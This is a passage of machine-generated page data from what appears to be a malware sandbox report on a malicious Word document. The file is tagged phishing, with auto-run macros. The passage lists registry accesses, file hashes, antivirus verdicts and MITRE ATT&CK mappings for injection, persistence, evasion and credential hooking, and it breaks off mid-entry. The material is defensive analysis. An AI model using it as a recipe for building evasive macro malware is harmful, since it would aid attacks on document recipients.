"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS") "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS") "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST")45:T938,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46:T938,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1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790310542607,"unified_at":"2026-09-25T04:29:02.607Z","metadata":{"hashes":{"sha256":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","sha1":"b4635d3d6adbe3c0674032db712e26cfeb0669e3","md5":"716b5e039177f7f6d50404bde0be9e4b","sha512":"90b6e70a35c48ba24acddee5947fa8b4f12653a9ac77e976e270f5de3d22924e92da77164218b6f5e4b027dd2d64c8121b2190c78d5c42d5cc11bbf055f22f22","ssdeep":"768:jhIUoMxPbkRETTe2kiqZfcHpr+K/7LZ3evVoS782zL:mUoMd3TT7rqCJyKjLZ3e9PtzL","ssdeep_chunks":["768:jhIUoMx","768:hIUoMxP","768:IUoMxPb","768:UoMxPbk","768:oMxPbkR","768:MxPbkRE","768:xPbkRET","768:PbkRETT","768:bkRETTe","768:kRETTe2","768:RETTe2k","768:ETTe2ki","768:TTe2kiq","768:Te2kiqZ","768:e2kiqZf","768:2kiqZfc","768:kiqZfcH","768:iqZfcHp","768:qZfcHpr","768:ZfcHpr+","768:fcHpr+K","768:cHpr+K/","768:Hpr+K/7","768:pr+K/7L","768:r+K/7LZ","768:+K/7LZ3","768:K/7LZ3e","768:/7LZ3ev","768:7LZ3evV","768:LZ3evVo","768:Z3evVoS","768:3evVoS7","768:evVoS78","768:vVoS782","768:VoS782z","768:oS782zL","1536:jhIUoMx","1536:hIUoMxP","1536:IUoMxPb","1536:UoMxPbk","1536:oMxPbkR","1536:MxPbkRE","1536:xPbkRET","1536:PbkRETT","1536:bkRETTe","1536:kRETTe2","1536:RETTe2k","1536:ETTe2ki","1536:TTe2kiq","1536:Te2kiqZ","1536:e2kiqZf","1536:2kiqZfc","1536:kiqZfcH","1536:iqZfcHp","1536:qZfcHpr","1536:ZfcHpr+","1536:fcHpr+K","1536:cHpr+K/","1536:Hpr+K/7","1536:pr+K/7L","1536:r+K/7LZ","1536:+K/7LZ3","1536:K/7LZ3e","1536:/7LZ3ev","1536:7LZ3evV","1536:LZ3evVo","1536:Z3evVoS","1536:3evVoS7","1536:evVoS78","1536:vVoS782","1536:VoS782z","1536:oS782zL","768:mUoMd3T","768:UoMd3TT","768:oMd3TT7","768:Md3TT7r","768:d3TT7rq","768:3TT7rqC","768:TT7rqCJ","768:T7rqCJy","768:7rqCJyK","768:rqCJyKj","768:qCJyKjL","768:CJyKjLZ","768:JyKjLZ3","768:yKjLZ3e","768:KjLZ3e9","768:jLZ3e9P","768:LZ3e9Pt","768:Z3e9Ptz","768:3e9PtzL"],"imphash":"Unknown"},"file_info":{"file_name":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","file_type":["docx","office"],"file_type_id":"docx","file_size":31795,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1687991916000,"last_seen":1687991916000,"last_multi_scan":1687991916000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["phish","phishing","wacatac","macros-on-open"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":59},"sandbox_signatures":{"informative_count":113,"suspicious_count":10,"malicious_count":5,"total":128},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSOffice.SAgent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"DR/Redcap.uxgjm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.8028","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.8028 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.MSOffice.SAgent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Valyria","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains NTDLL native APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with suspicious keywords"},{"type":"informative","value":"Contains embedded VBA macros"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Persistence","technique":"Office Template Macros","attack_id":"T1137.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1137/001","identifiers":[{"type":"informative","value":"Contains reference to MS Word template folder"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Document spawns new processes"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"suspicious","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API 